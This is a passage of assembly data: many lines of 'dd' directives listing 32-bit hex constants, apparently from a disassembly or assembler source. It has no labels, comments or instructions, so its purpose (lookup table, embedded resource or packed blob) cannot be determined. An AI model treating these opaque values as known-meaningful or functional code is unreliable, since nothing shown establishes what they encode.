0F3871D54h, 214AAA08h, 0A07B9683h dd 9539E5Fh, 3546E664h, 5434A884h, 1C4F104Ch, 180E9448h dd 0A3F6866h, 2D4A587h, 641C0347h, 0BB267440h, 18C5B772h dd 74D76FB2h, 0C740E2F4h, 67D9E0EEh, 0E836F924h, 0EFF11930h dd 0C5335A3h, 0E7F80C68h, 9780ED21h, 10486590h, 1B2283EFh dd 31F02860h, 0CE1FC7ACh, 0CDE71510h, 87B100Ch, 543EAA99h dd 4D6080B4h, 6ECAE6C8h, 0B3CF0046h, 29CE53D1h, 78002136h dd 7976C437h, 90DF58h, 4A169D8Ah, 206D5C05h, 2A988200h dd 0BBBB4B8h, 4FAF0F22h, 0C001BE6h, 4DAA6EFFh, 87985B00h dd 0E8230870h, 0B35D00B5h, 804365EFh, 0C200D522h, 5FD66BCCh dd 58829837h, 4D3E3F55h, 0F3874400h, 93578A89h, 0D6853A02h dd 0E0BE9759h, 73CED1h, 0A1FCEF30h, 66F4D1A3h, 60C82C01h dd 324E88B7h, 782FD0D0h, 379D0B4Bh, 43001CF8h, 33C203E1h dd 0C1FBD91Dh, 8B213018h, 10613825h, 76896683h, 1800EAC0h dd 0E834158h, 28D826h, 81EF6560h, 527E624Eh, 296B0101h dd 0DD89C827h, 64A9D300h, 8C79B018h, 914FC10h, 362E379Eh dd 0AAC0090Fh, 9BEA7C22h, 8060A46Ch, 0EDC03197h, 0EC7A9C71h dd 1800DC51h, 13D07062h, 75DAA5CAh, 1F4F0296h, 0C33D78A1h dd 32B03900h, 505960C0h, 861958A5h, 0D75981F3h, 0CCDC7669h dd 1DA14760h, 15D48CB4h, 93D8CDAh, 5D6F7500h, 11A820C9h dd 0FE2EBE00h, 0D5AFD204h, 247F287Ah, 1268C2B5h, 0E4134894h dd 41606262h, 0D55564CCh, 0F220DA34h, 40759Ah, 5EE45C7h dd 0DC194CA8h, 0F45848D9h, 18CAC18Fh, 307471A7h, 55EE19F8h dd 472AA501h, 5F7D418Ch, 0E0D9F9D0h, 57F003Ah, 493DADDh dd 0C80FA491h, 0A0844DE7h, 0DB669AEAh, 954C1FD0h, 0E9DC80EFh dd 4DB811DDh, 58978D00h, 6152CF6h, 0FEA3004Eh, 0A93CB5A0h dd 50017951h, 7F937091h, 3FF40FF2h, 37890012h, 5D2E7552h dd 8B0062ADh, 80EBF1ABh, 738535Eh, 157763A5h, 45E10E2Bh dd 3F60077Dh, 0D898E0h, 20B64DD1h, 0DB72F8EBh, 84749506h dd 284964h, 6DECCDFh, 0B1484AC4h, 0E5AF2801h, 0D69B2689h dd 58CA60F0h, 0EC004EFEh, 57038D7Ch, 0E70BAA58h, 80DEF9D5h dd 82E8A77Ch, 3FC01C36h, 66A6C65Dh, 86073053h, 0D074B31h dd 0EEE26A60h, 3A2774C9h, 677FD49h, 0B294DF15h, 59F880ACh dd 0E42A3Ah, 0AA8FBABFh, 0BD917Bh, 0CA66885Eh, 0ED5F0EA6h dd 0C13F58C0h, 58E71h, 0E74EF86Ah, 2FBAFE06h, 3DF2C3Eh dd 5CE2B7B4h, 51E90067h, 615896CDh, 8500F8D4h, 10594B69h dd 72F28FBh, 6786434Dh, 0D5A4C096h, 730BA345h, 80C0CAC3h dd 50CF8B84h, 0ACBB3F1Bh, 42D9280h, 0C323E3FCh, 0AE4B5601h dd 1C55F6A4h, 0E42F76C0h, 0B11E1FA7h, 8AFF811Ah, 0BA6E434Eh dd 2F770080h, 0E8643C68h, 0A9420021h, 3E604172h, 0DE1C55E2h dd 0E1000C6Bh, 0A07B9A71h, 4DBB3E12h, 0D3DB0173h, 85F96E67h dd 28A5ECD8h, 8CBD38h, 944C259Ch, 0C16DEFC3h, 487AD830h dd 41BEC824h, 7070FDEEh, 805ECA30h, 5F7824Dh, 0FC584FB7h dd 3801F73h, 844ECB9Ah, 36F64015h, 395D008Ch, 0CE7F8CF2h dd 30230349h, 40507438h, 34C4FBE8h, 0D94AB730h, 8BD5B1h dd 0BC971F92h, 0DF0C564Fh, 0D2A76100h, 60428E99h, 0B4BA004Ah dd 0E6136388h, 7F00751Ch, 97AC7179h, 0A5AA5Ah, 1659CF56h dd 3708D7F1h, 48CD0F00h, 0F932B6C2h, 0E867034Ch, 2E835D0Eh dd 59C5C0C7h, 0CAC0FF43h, 0DC26CB9Ch, 30C36049h, 0B2225B8Eh dd 0CE974A07h, 0E5A056B3h dd 769C4940h, 3028CFCFh, 4B60C01Dh, 35BB6C23h, 0DC6FCA03h dd 64F039Eh, 38445278h, 1B0031B4h, 5559F6DEh, 7CE81885h dd 0BC7D3E9Bh, 39EB2F80h, 96BB1F07h, 2959CE00h, 85BF5044h dd 0AA7907A6h, 60C9FBCAh, 0E0232491h, 0BDD1FE1Eh, 20C70387h dd 4E83E680h, 0C6160934h, 838CB8A5h, 0B7005228h, 0E89E3AACh dd 17E8D8Bh, 0BE5A3BBCh, 808F0C07h, 4ACA3D10h, 0E67A3515h dd 0B1A0619Bh, 519707C9h, 0D34344A0h, 645B190Ah, 0AB00944Bh dd 0B77047DAh, 0C110006Dh, 23036544h, 0E3003E1Dh, 9F7B46A4h dd 69EA1638h, 0CF80F862h, 0FC492D59h, 0A14CA500h, 0F4D906CFh dd 644B006Bh, 0BEC63D84h, 530FB650h, 835F8573h, 812D2F5h dd 66CF5818h, 0F9D0C39Dh, 860DB004h, 3F620568h, 0D8E78780h dd 10F65094h, 0E66A404Eh, 7D67C12Ch, 0F03CD806h, 207DEA20h dd 0C8005C2Eh, 614ACB41h, 3EC02C9h, 0B7672DD6h, 4CC1CEE6h dd 0C1080E0h, 7C63A229h, 0E737EA6h, 0E483682Eh, 96BF5660h dd 0B600B4D9h, 0EED44F19h, 76A321h, 0A9223972h, 20D50332h dd 7845A61Dh, 158B2BC0h, 3B8C23h, 84ADFF1Ah, 94E1B512h dd 1EC6A648h, 9680796Ch, 0A83262DDh, 82C50095h, 92690E30h dd 9A00E02Eh, 55D3A524h, 139CC78h, 5DD9E56Ch, 0F0777BC7h dd 3CE8E3BFh, 24838500h, 5673AE2Ch, 48E50190h, 0BE92B920h dd 0E845F043h, 0DAA9D400h, 0EDDD3A55h, 0BFDF014Ch, 2B270672h dd 7841D6A1h, 0B5089899h, 796221h, 14890B06h, 0FFA8C53Ch dd 5540E21Eh, 0E380921Dh, 7D9313B9h, 0BD4C01E4h, 48DF76DDh dd 7F4093DCh, 555A0200h, 381306B1h, 30746942h, 1E20DFD3h dd 0D17C2ECFh, 0A9248501h, 12E428BAh, 3061C1D8h, 0BF28DF49h dd 0CB1D769Fh, 70B60791h, 5A4C0319h, 0AB4952F8h, 4301ECD8h dd 8820A36Ch, 0C2908C7Bh, 0D9554F14h, 85A244h, 0E4645172h dd 0E64DC51Ch, 8EDCAE01h, 608075CBh, 50C25FA5h, 0E9008C36h dd 9CBFD4FBh, 24A94926h, 3929040h, 7FA67203h, 13DEEBE8h dd 170ECEF0h, 2FF1D00Fh, 27682286h, 56C609Ah, 497B005Fh dd 7AF4BB95h, 0E732BE55h, 0BFEA1048h, 66DA8604h, 330010D8h dd 92E8619Eh, 0FDB154Ch, 977131ADh, 0DA423200h, 0B40685EDh dd 0DFD833E4h, 11194229h, 0F121C40Bh, 90DEE208h, 0C08E840Dh dd 9C429548h, 405124A8h, 2C3F745Eh, 0FA9D0014h, 69E726D2h dd 637B4068h, 0BFCCC100h, 242D4DCh, 0A7A9002Eh, 0B77B9E82h dd 0BD015940h, 9349AEF2h, 0F9DC2F5Ch, 1B310039h, 536AB4EAh dd 691F4CA1h, 0B58084FCh, 9A220121h, 0CFA04C32h, 90F32Eh dd 1F2F393Dh, 70F92DA2h, 280054BAh, 0CC227546h, 4F22Ch dd 18B408D5h, 0AD81CAE0h, 0FCE68D01h, 0D2893166h, 1EB21080h dd 8AB8046Eh, 3988D90Ah, 0C281BC82h, 0D6B729EDh, 9E1E28BAh dd 0B8CB47F6h, 72B2A0A6h, 0EB8E73Ah, 8F00E190h, 0B63F22CAh dd 0F505D64h, 32F81C1Fh, 69467D40h, 5F00F0ADh, 345156DDh dd 1FCFE8h, 0A42AAFAEh, 0E7079528h, 44BACD15h, 5F1F76FCh dd 1880802Fh, 0DF684084h, 0B91601ADh, 0F9E90496h, 115DE443h dd 4CDB4900h, 10CC2D81h, 6A0B0DCh, 2B563A92h, 76002040h dd 0ABA1D1F3h, 0EA23A3h, 0C02E6A6h, 0FDC77F47h, 0F0B81A60h dd 0EEBE78A1h, 534E00C4h, 257E4657h, 80ED6592h, 5A9A59C0h dd 3852D3C8h, 6E1C281Ah, 79B871h, 0A98E290Bh, 3A63E0D7h dd 19EB9B00h, 49713709h, 8DDF038Ah, 0A5CD36E5h, 60F5918Ah dd 12B4BCBFh, 0D25D2Eh, 66F37870h, 4400E017h, 639BFD71h dd 8BEEC1h, 47CA1E52h, 97FA2EA1h, 0A6406600h, 91D1B81Ah dd 5148000Bh, 0F33EC5D7h, 6A007718h, 5480720Fh, 1A79687h dd 43BFE342h, 6095687Ah, 13000C8Dh, 5DBBE499h, 3E75EB12h dd 0BD00A086h, 2B906348h, 0DD003EA9h, 47A82DBCh, 5B03Bh dd 6313574Ch, 4204D967h, 0C00083EEh, 816F1AD4h, 2DD109h dd 0DEC2909Eh, 8D42310Eh, 9FAF6D39h, 2CC3CB88h, 0D8B51DDBh dd 1E1A6341h, 87EA7C1Eh, 908CAADEh, 0EF9122F8h, 0CFF27AF8h dd 5BDC8800h, 0B48639C5h, 929302A6h, 0FA9AB218h, 24331441h dd 0BD077394h, 34E014B0h, 98E641E0h, 29550020h, 0D4F5D50Ah dd 3F055CE8h, 28AB4C6Bh, 41B38000h, 0B8434E42h, 810E000Eh dd 73AD13A1h, 0E271DAF1h, 0B49E412Eh, 79DEAF1Dh, 6EDBD347h dd 0F87FA7D0h, 0CA17002Ch, 8932072Fh, 0E800A9DCh, 0F2140CECh dd 0B5318Fh, 95919F38h, 3503570Eh, 0D8BAF00h, 2145245Fh dd 0A8E636h, 9648E3B6h, 3191FFD4h, 1FF8F148h, 6C00CBFDh dd 0AD8FC478h, 0A51600DDh, 5702BF80h, 5803CEB5h, 296B17A8h dd 227BB818h, 0F0880473h, 0C091AB40h, 83009C0h, 530003F8h dd 0C0D2CE64h, 0FE0CDE8Eh, 0A989003Dh, 0FDCAF071h, 0E0009B4Bh dd 0E280EA0Eh, 0E3D8CDh, 2AA71B47h, 0F6535948h, 57FFF400h dd 6312EFB8h, 4B250032h, 3D9B7C14h, 1600D468h, 23BB8F93h dd 0B62AE9h, 62701E12h, 40B82C2h, 4F8ADA00h, 782861C0h dd 38200031h, 0C7657B74h, 9A18623Dh, 0ED187902h, 12243BCCh dd 0EA386C80h, 5A5206A7h, 0EEC77E01h, 0D978362Bh, 4321CCh dd 0FBB89F60h, 8F1373B9h, 0BE50FF00h, 0D40CB529h, 282F6052h dd 2D70464Eh, 0D36C2B00h, 0B30ACF6Bh, 4806E4EAh, 27006C89h dd 0B634962Eh, 93BB5C0h, 0EEBC8038h, 2161161Fh, 0F67E0F98h dd 4B609F37h, 4172FDFFh, 0B33B3F7Ch, 3AC51D61h, 0A9AC5300h dd 3F65Eh, 13715A9Ch, 0ED8FEA55h, 0B50AF800h, 0CDDED1E6h dd 0E0145B30h, 0A4056E19h, 1103BF2h, 178F1BC1h, 0C6FE70h dd 0FEFD61Ah, 4124D97Ah, 6A8ACA00h, 44100EADh, 65933BA3h dd 8B687680h, 954E23ACh, 7CA24607h, 7590CEF1h, 0F469E070h dd 36B0D0h, 0F5E8D21Eh, 0C501AD5Ch, 0CE416600h, 0EDEB85B5h dd 20D64C45h, 0B9B19514h, 0B630810Fh, 435DE007h, 37D87565h dd 5004FD3h, 0EF5BA542h, 90F9CE2h, 1D9449B4h, 0ECDAF500h dd 8500E807h, 0D7E31456h, 3F2B12Bh, 3EB53BDCh, 0A07CE940h dd 0D6896906h, 10FE10h, 0CE801A05h, 7D0C78Ch, 155F2B00h dd 0C022FC98h, 4EE631h, 0EC3587D7h, 0A8854086h, 0EF0020F2h dd 1992A3ADh, 3A97132Bh, 0F000C260h, 6D3D46F8h, 21054077h dd 0B78818A2h, 235BA480h, 12E2008Eh, 0B534F544h, 0D00558D4h dd 0BD3A3D33h, 6647E480h, 900F01B8h, 6F363454h, 6A2CE46Dh dd 0D841500h, 94FA61EEh, 0E71C00CCh, 9DEBBAADh, 0B37E3342h dd 0FC9ADC01h, 5C43A7D9h, 0AD45C0h, 4A5A202h, 0C6037191h dd 73B2003h, 0E83D80A9h, 0F56C29h, 0A8BAF021h, 4A363966h dd 51A05200h, 27B52F80h, 0FADA3A57h, 2595E400h, 0BFDA6CAh dd 7D961500h, 0A0B334AEh, 6DF90056h, 8258C676h, 77005AFEh dd 4C8B98BAh, 3BCDFBh, 0E8469F6Bh, 0B59D8D95h, 0C442240Eh dd 939E0292h, 84A58901h, 0E0809A65h, 18BC781Ah, 0EAEAE6CEh dd 0F8009E94h, 4273E1A0h, 4C03BAh, 2F6D4338h, 293346FAh dd 87788870h, 0B79A0100h, 4EE0E922h, 8A2400CAh, 4115F50h dd 2000271Fh, 34F3EE75h, 0F0BC710h, 160871BEh, 199B3120h dd 9300F10Eh, 464AED4h, 1EBFAA1h, 0F5769779h, 81FB8D82h dd 0B3DE1010h, 0DAFC2E84h, 0CE3D03C2h, 965D6F25h, 6EA2FDF0h dd 0D826AE00h, 0C4D2B6F9h, 81E6186Ah, 0DE4B4104h, 162DE500h dd 8A312141h, 70DC395Ah, 55979B00h, 2BEC48EDh, 0C12C80Fh dd 0DBCAA0ABh, 7D326E90h dd 4FA0010h, 62A525A8h, 5079A1Ch, 1FB04D3Ch, 0E0B6DE22h dd 18695DAAh, 9A03AE2Ah, 68002248h, 46DA7207h, 2E6726h dd 30662A3Bh, 0BE40F1A4h, 0FCCA3500h, 8420B36Bh, 5E3B009Fh dd 0A28F8BBh, 0BE00CFD6h, 37F01F1Bh, 7AEE7D9Dh, 3BCC0706h dd 80705EA7h, 2982B55Fh, 67409B00h, 0B68393DFh, 4DB0097Dh dd 99FC5220h, 0D4983700h, 3B6966DEh, 5300D72Fh, 567091EBh dd 300FF2EFh, 0A3EC4A9Bh, 1A48F96h, 3A5183FCh, 0F85B4675h dd 8B0A512h, 443D7100h, 39C2EECCh, 43D7002Dh, 31AC2B59h dd 8B3D9F24h, 5AB100E5h, 7886B7C9h, 826A004Eh, 37E4EAAAh dd 610004BCh, 4F48799Ch, 58D9F659h, 0EE00A3CAh, 95F3B4A8h dd 98601675h, 816ACE90h, 0B1F00E2Ah, 0F960A48Ch, 0A666575Dh dd 0ED30F800h, 0BDE348D0h, 29CB09Ah, 5F179036h, 0C540FCE6h dd 0FE0EBB1Fh, 2169D8E4h, 0BDCA531Bh, 0D7FC880h, 2B96BC1h dd 66A5EB03h, 711B6121h, 0CEE800E0h, 0EACD0648h, 9F05E396h dd 9061986Fh, 95B73AC0h, 8CF8E7h, 384D3BD9h, 17B05E47h dd 974C300h, 8EABF21Dh, 22BA3C8Bh, 6E80B5B9h, 394234D1h dd 687DE199h, 0DF0B2300h, 0C8CF19BEh, 14610B2Ch, 800858Ch dd 841E768Dh, 3949FE00h, 0E9AA6B7Fh, 995428F0h, 7933EC8Ch dd 60E181h, 0B2530EABh, 9EE283D0h, 7840B877h, 6B00997Bh dd 0ACD275EDh, 0C70AE4Ch, 0B76576FDh, 0C77A4D20h, 0D010521Ch dd 0CE5AB240h, 6CC07Fh, 197C9F6Dh, 4C8D0B62h, 0CC7EC24h dd 59532860h, 0EEC9020h, 0CC5729E6h, 3B030500h, 0BD3B33A0h dd 1E930399h, 9C18A4B1h, 0EE3FCCC0h, 707E1CC8h, 0B5D9405Dh dd 8C86EF5Ch, 6AE08200h, 0C4EC0774h, 1F1000BEh, 870AFAF8h dd 3500BAE3h, 661C0413h, 92A67F6h, 0C462BB42h, 0C36B7000h dd 0FC00E1D4h, 0D8F61CB9h, 9031A9h, 520B67FBh, 48A86459h dd 9870ED1Ch, 0D67E66C0h, 3B4E9DDBh, 8F00DA6Eh, 6BDF84D4h dd 130031DDh, 43C0643Fh, 52AC430h, 2E955441h, 0EB4888CCh dd 0CABD7317h, 8318DD00h, 0C8E78Fh, 0C75002B3h, 7704B07Fh dd 7E3D280Fh, 82114058h, 813808h, 327CF802h, 1B95A55Eh dd 77D7E002h, 40A10E06h, 129094h, 0FC0F31B4h, 0A558EE18h dd 63DC48h, 9B3A9263h, 5D070h, 1064C438h, 6CD1A3BDh, 5B795D04h dd 0BCC055DBh, 2452D3DFh, 0E0103265h, 8C684940h, 17935007h dd 9880731Ah, 1C5A066Ah, 13B6D9D3h, 21BC27ACh, 0AF0577h dd 596FE6E0h, 3802F406h, 4D7401A0h, 3D65F880h, 403DD93h dd 0BE0D15B6h, 2980A7D1h, 49D517A7h, 4407145Fh, 8068C85Dh dd 666F5CE7h, 0BD2F8600h, 5A7F2143h, 642800D6h, 4E2051C2h dd 331294DEh, 0BC01CDB2h, 0CA266A7h, 9EC82C65h, 0F4514C58h dd 0BF5A0380h, 0C404A7C7h, 7BA2D717h, 0AD7F8091h, 60E424CCh dd 2D8B10B9h, 4D49B72Ch, 31261278h, 284C4000h, 8FBA7Eh dd 0AF275E6Ah, 0EAB5D65Bh, 92003173h, 79FA868Eh, 0FC3A455h dd 0F991E5BAh, 3ADAB102h, 11EE63DDh, 1CA2850h, 7B124BF2h dd 8050B0ECh, 78C5712Bh, 0DB250113h, 76069D82h, 80BE61BEh dd 32981AD9h, 5DEEECh, 33AE92B1h, 201B0836h, 0F0ABBD03h dd 0B0A3BA47h, 756F129h, 0FA473F5h, 9D406C6Dh, 21DAFB1Dh dd 0A3800464h, 0B445CE1Ch, 0EB6B008Ch, 0B3533883h, 8950B230h dd 6790DA88h, 0A94B61Ch, 14D49180h, 1BB3B29h, 0FA15F292h dd 0F0D1F16Dh, 0DF09C4C9h, 5842034Fh, 0EEB9248Ch, 94470300h dd 5070CE79h, 0DED9AE00h, 0B032F629h, 3E770002h, 0BC400773h dd 0C658065Bh, 0A49E00C8h, 0B3A3B488h, 69FC2Dh, 9F307661h dd 3DCC2C16h, 0B998470Eh, 0BF1C637Dh, 808CE29Ah, 0DF8F7FACh dd 0C2D53D2Ch, 4F60380h, 0C671994Bh, 22C51600h, 0B215683Fh dd 0CC76F7h, 953DF217h, 58FE0DF1h, 0AA5BA300h, 66998D4Ah dd 24843FFDh, 3F016C5Ch, 1057CC1Ch, 1647FC58h, 283ED7B8h dd 0FCA30049h, 138EDE11h, 53F900BCh, 0EE8B6045h, 382C9A47h dd 0D540988Dh, 5598CEh, 80507AA7h, 2939FE30h, 7870B89Ah dd 3B00C87Dh, 62177FDFh, 68B6CD36h, 0C0A4DAh, 1B0D5275h dd 0AF031C01h, 0B3E7F8E9h, 9F661310h, 77400045h, 1F4FA883h dd 6620B09h, 2930031Eh, 73E8A96Fh, 480870h, 9F5C14D9h dd 1B85A53h, 7ED06302h, 0C05F64DFh, 0F6E93854h, 4BD30098h dd 0FD8A251Ah, 0EEF6CB6Bh, 0F843D003h, 0E02AFE0Ch, 7819C0h dd 0DC535231h, 0DFFDC7BCh, 5C63E400h, 99159BB4h, 0B96E0070h dd 437EF00Ch, 9E0C7FA4h, 0F80E6F78h, 0C3D5131Fh, 0F2A2008Dh dd 0CB8FA5ECh, 6ADDE600h, 3B04323Eh, 4D3700C8h, 93F79473h dd 96E0FFD9h, 6D0BD3B8h, 11FADDh, 300629E4h, 0DBAA00DEh dd 0C0B916BDh, 4A014797h, 7E3A1360h, 746049F9h, 0FB992CDCh dd 7CC1FE4h, 206D2047h, 0AB30CDD0h, 0D4A2C300h, 43F7995Bh dd 0F3E72411h, 5F6F0930h, 12051500h, 0E60213CBh, 0A06A3C54h dd 0A450B0h, 0E221D78Ch, 8714BCE7h, 0C36E3F00h, 0C92AFD16h dd 190B0E13h, 37C3BB7Bh, 0F3FAB40Eh, 4A6F3040h, 0BEF05C41h dd 227E28C7h, 0B87F3FDCh, 405FF29Fh, 2B729F70h, 4B09C160h dd 80D176A5h, 62FB7D80h, 0AA6E0980h, 18AE0EB6h, 47469C80h dd 0F200FA88h, 0DF78B4A7h, 58B52D6Ah, 4030452Fh, 0C8D1C928h dd 741F0603h, 0C1E1D654h, 0BDF3B30h, 0BC88E721h, 0DD657C81h dd 0AA583495h, 23A2FB02h, 0E0BFDB2Bh, 2D4098h, 56029BA0h dd 0E491D95Eh, 6B263F00h, 0A5051735h, 0D34200FAh, 1CC66E08h dd 0CDE8BE5Ah, 44019300h, 762F1562h, 1092618Ah, 0F35D9AE5h dd 0B9B2AF0h, 7DA3DA00h, 70D4FC3Fh, 791E000Fh, 4C5C6F2Dh dd 6409A76Ch, 876AD1h, 2632DB64h, 0B2CB0047h, 441C7A79h dd 0F6000906h, 751FB40Fh, 4562C0h, 2E5A0791h, 9AC96771h dd 7B432800h, 0AAF52CABh, 9B31001Fh, 0BE78264Ah, 2D26A127h dd 5B40E0DBh, 577DD4h, 846CE792h, 0CB91A804h, 0D62CCA76h dd 14001E1Eh, 53F0EC66h, 0B2A600B1h, 7A6FDE92h, 384A3AE9h dd 54D0F405h, 50D75882h, 23861F68h, 0AEC3D4D8h, 9A40590Ch dd 137D1919h, 0D6A11D03h, 0A0A40860h, 0CED41784h, 0D7C57B20h dd 22C3C06Ah, 1A003388h, 8A73EF02h, 0FA821F7h, 98F2859Fh dd 7A9C1280h, 0D107C25Eh, 0D3FBAEE3h, 9BCC79B0h, 0F31413F2h dd 0B3A80080h, 34521223h, 4B5F80DEh, 0E7A17B46h, 0D1E53E31h dd 0D7761B8Ah, 415B808Ch, 122BBB9Ah, 818B117h, 58CA590Dh dd 0DBEC2080h, 0D53605BEh, 59040714h, 0F34A00B7h, 0EE71989Dh dd 0E20C3BE6h, 25067080h, 0CDBBFA59h, 0B2627B12h, 802CA30Eh dd 4CDD3A18h, 0F31B005Eh, 242B445Bh, 0AB009C01h, 98DE061Ah dd 2F5CC8CEh, 690036CFh, 0D4815A84h, 0BA6F3Fh, 89B7172Ch dd 768271h, 0B59179FEh, 43C8027Eh, 0EF1E863h, 4C1089CBh dd 780411A3h, 0E4A8B5F1h, 0B600506Eh, 5391AE6Ch, 0C0DCCAE6h dd 4F8FA2B4h, 0F75206Ah, 0D85D680Ch, 88BF29A8h, 0F207F4C1h dd 23763C4Eh, 0C3AD8B50h, 7614B811h, 5CDC0053h, 2671D175h dd 0CD008091h, 0AA21A2A9h, 3842E0h, 0D7626A82h, 0E36109F7h dd 851D1400h, 0D992A850h, 982C000Eh, 0A62EA32Fh, 0F6A03C08h dd 333E3FBCh, 866300D8h, 93605EC4h, 81738Ch, 70469522h dd 67E4A2EFh, 79487D0Ch, 5A1071h, 47D75404h, 7701DE6h dd 65B90300h, 56FE11B5h, 2E0804D5h, 80B68DE8h, 91F4DC7h dd 0C957301Dh dd 0D821EF80h, 132ABCA0h, 0E0A714h, 9F84F770h, 0D4E0F809h dd 7514E00h, 95A84935h, 7CC8FA6Eh, 0A7EE01h, 1D685F65h dd 4BEF3884h, 7CBFA100h, 1893B6D0h, 0F65200F2h, 0B58FE7D5h dd 0A0002CD2h, 0A86D60CDh, 7250C13Ah, 89780012h, 9CC5925Ch dd 0B73B3BADh, 0D7B30054h, 155A68BCh, 0C4081D0Ah, 0F9574E88h dd 0ED2B5540h, 6500C7E8h, 0D4A621B0h, 153967h, 0F48F8788h dd 0C63127A7h, 9D443400h, 0A928523Fh, 22170033h, 0D0B89FDDh dd 0E9000DFEh, 8CDE9CE4h, 13BD91h, 0D6A0F575h, 0E8D3A229h dd 2A04921Fh, 5E0CF126h, 0E8B718D1h, 5C9BE07Eh, 3A009DDEh dd 0B6A80293h, 4EC671Eh, 17199E00h, 0A31D740h, 0D01D13EBh dd 0D25001Fh, 0FAFC9721h, 0DB87C400h, 187F79DDh, 80BF3FD1h dd 3BE26F80h, 1CC1EE33h, 35FE9100h, 605D82AAh, 0FBC83C5Bh dd 0CC7D7880h, 0B442F994h, 40B03403h, 0E01D3B95h, 767B56h dd 0B96D049Dh, 0FF4E3363h, 180FB47Ch, 0CF8AB277h, 0C2FAE6E8h dd 0F2992780h, 8B002478h, 4AA11EF6h, 0D86BE2h, 0F9CE83BEh dd 987FA55Fh, 710028B8h, 650111C5h, 0B0BDB889h, 88360068h dd 7A8129F2h, 2400797Ch, 27469E4Fh, 0B997060h, 183748D6h dd 0BC9B7B00h, 0D13D19F4h, 43DA1F26h, 7CFF455Dh, 0CA05CE00h dd 79E4314Eh, 0E37600ECh, 925FCFB6h, 437F06A4h, 968BB00h dd 7E7A63Dh, 7798006Ch, 2CF9FF44h, 0C260E261h, 2064C540h dd 21B00EAh, 0B24AA16h, 0BB016D13h, 85821B2h, 0E8449771h dd 6FE390C0h, 18A200C2h, 0A49B1CC7h, 0BF004D4Ch, 339D640Ah dd 85A8E1h, 63888EB0h, 0C5518F1Fh, 0E9315300h, 34F02F24h dd 7D0DEE59h, 0B91C006Bh, 0ED8A9BC9h, 0EE00E268h, 0F8BCDBA2h dd 0C014482Dh, 82296C38h, 8C031B37h, 477E07F5h, 27C8008Ah dd 0F611AE76h, 0DF00BEE4h, 5D1A4106h, 457F89h, 0C395679h dd 77EEAA96h, 32ACC900h, 58767A99h, 0D44B0031h, 287C3457h dd 7950F35Bh, 0DA061D8Bh, 298AD050h, 0B78D0CE8h, 0B4708FA9h dd 0CB2F2002h, 980F43CCh, 7193598h, 0ED8065B3h, 0DBD4603Dh dd 940F715Ah, 60A51C79h, 27833A0Eh, 141DFCF2h, 0FC2B5B61h dd 0A7C8F00Fh, 17D8EE40h, 407DB7C0h, 5233F700h, 0EBAC3E61h dd 0B6EC3E63h, 35E54200h, 0BBBED71Dh, 0AA8F7507h, 419094B0h dd 0C1F13Ah, 192AA52Bh, 6BC57B74h, 8E519B00h, 0F8C824FDh dd 0C7D800B0h, 0A07F0DF9h, 0F6003CC4h, 5BEF8E50h, 13C00726h dd 0F519C05h, 0A040880Fh, 4371E9C1h, 17001B71h, 85BCB58Dh dd 0E4B766Ah, 0D0B12D10h, 10062907h, 874D803Ah, 0A1C59E03h dd 0E9129604h, 9C404FBAh, 20DB2Eh, 6E2565CBh, 10B77393h dd 0BD11FD03h, 0C844EA7Dh, 2416409Eh, 1820A9D5h, 0BCCEFAA6h dd 6AD88D00h, 7D42AB66h, 7CC70479h, 80BBCB61h, 8127EA8h dd 1FDC0300h, 0D3FC21E4h, 0AC354970h, 2C26D900h, 80BEE9AAh dd 4379A703h, 1F2A0944h, 8182DF28h, 6A8A0686h, 1B70205Fh dd 704BF201h, 0E3681B2h, 0FCE8EE60h, 9FB500A1h, 0C15C9DCDh dd 0D50075C4h, 0F0763C2h, 0EAB8Ah, 65CF1FB5h, 0A70844D0h dd 2C73B701h, 0FDC32B5Fh, 92362E0h, 35C7944Ah, 46006C09h dd 20D7B1A6h, 86248578h, 73074CAEh, 136027FAh, 0BC34Bh dd 67A76D46h, 4FF87121h, 80B47C24h, 0CC659007h, 1533E490h dd 0D9EC24FCh, 71BC0014h, 0C9DF92B5h, 701EF090h, 2D40EB6Dh dd 64CE885Ch, 522600F9h, 0A173B4F3h, 0E20095D1h, 17C3D8A7h dd 60A00192h, 0ADCC020Ah, 0C00E850h, 0E1F77894h, 0B2C58C6h dd 1E2A681Dh, 0FC2EBD00h, 0F200B2FDh, 58D0C394h, 5C48B1h dd 9278D402h, 0CD59387h, 0D686BE09h, 0BAC08036h, 149BB8h dd 71409D0Eh, 0EE6F1D02h, 9EF36800h, 63E8E1B2h, 0FE585C45h dd 34882701h, 70412CC9h, 47032805h, 390D0E1Ah, 38308004h dd 1F97707h, 3D16123Fh, 60FE793Ah, 0FF002A2Ch, 81179B09h dd 77B702Dh, 0D759A56Eh, 28EC81CFh, 1F109063h, 60D12911h dd 16E9F520h, 180C003h, 4B3CE8Fh, 6A2FD200h, 1C90B2DFh dd 8D7671h, 9BBEB465h, 72E966C6h, 91075975h, 6FCF90DDh dd 0A0975C53h, 0C0E35EC3h, 2DD5DC60h, 0D898BE3Ah, 0A6219060h dd 0E49B3470h, 29D46020h, 8491BFEBh, 0B32A5515h, 7E5C018Ch dd 72A67980h, 1EDBEDD8h, 8BBB906Dh, 2300E3B4h, 7FC508B2h dd 737CFB03h, 89BC89C1h, 0AC04181h, 30FF003Ah, 72368EC4h dd 47009E13h, 855BC68Dh, 42B064h, 800F79E8h, 61D5373Fh dd 96B8FB0Ch, 4E81BAh, 159FF668h, 48DE68Eh, 7A1F9870h dd 0B9B0B9CAh, 71E7BDADh, 0EE3700EDh, 0BE9C09F5h, 58008856h dd 0E9D1333h, 178DCA8h, 590C7E87h, 80C9E716h, 515E2F60h dd 0B03CCA20h, 50DF6Ch, 74D8694Ah, 5E007142h, 223218DBh dd 7A64B7h, 0E2977584h, 79290962h, 0A41E0828h, 7B44AA3Eh dd 2E0054F4h, 538EF767h, 0F2961C33h, 714A0073h, 361A3EBh dd 0F41717F9h, 0F303E18Ch, 0BBD7BCBAh, 0CB7EC176h, 30B10270h dd 0CAE1D6B9h, 0D5165568h, 6F00F4DAh, 4B2F6FEEh, 0D85BEA3Ch dd 51DF28B0h, 0AFA43E0Fh, 2DA921EBh, 0EE84396h, 75600078h dd 76E71E63h, 3B0101BCh, 0CEA4FC9Dh, 2220D599h, 6408C680h dd 18002074h, 0B128FC95h, 6097BFA6h, 1C6639D1h, 0D70F4F1Dh dd 60963AE9h, 0D1791F5Ah, 624502CAh, 3CC7602Ah, 12CD3F60h dd 8E304300h, 351FDB06h, 204567DAh, 4508C01h, 0B610A100h dd 2579431Dh, 202B60B2h, 1993DBCBh, 28E67C30h, 0F4037361h dd 0A27F03ABh, 0A02786C0h, 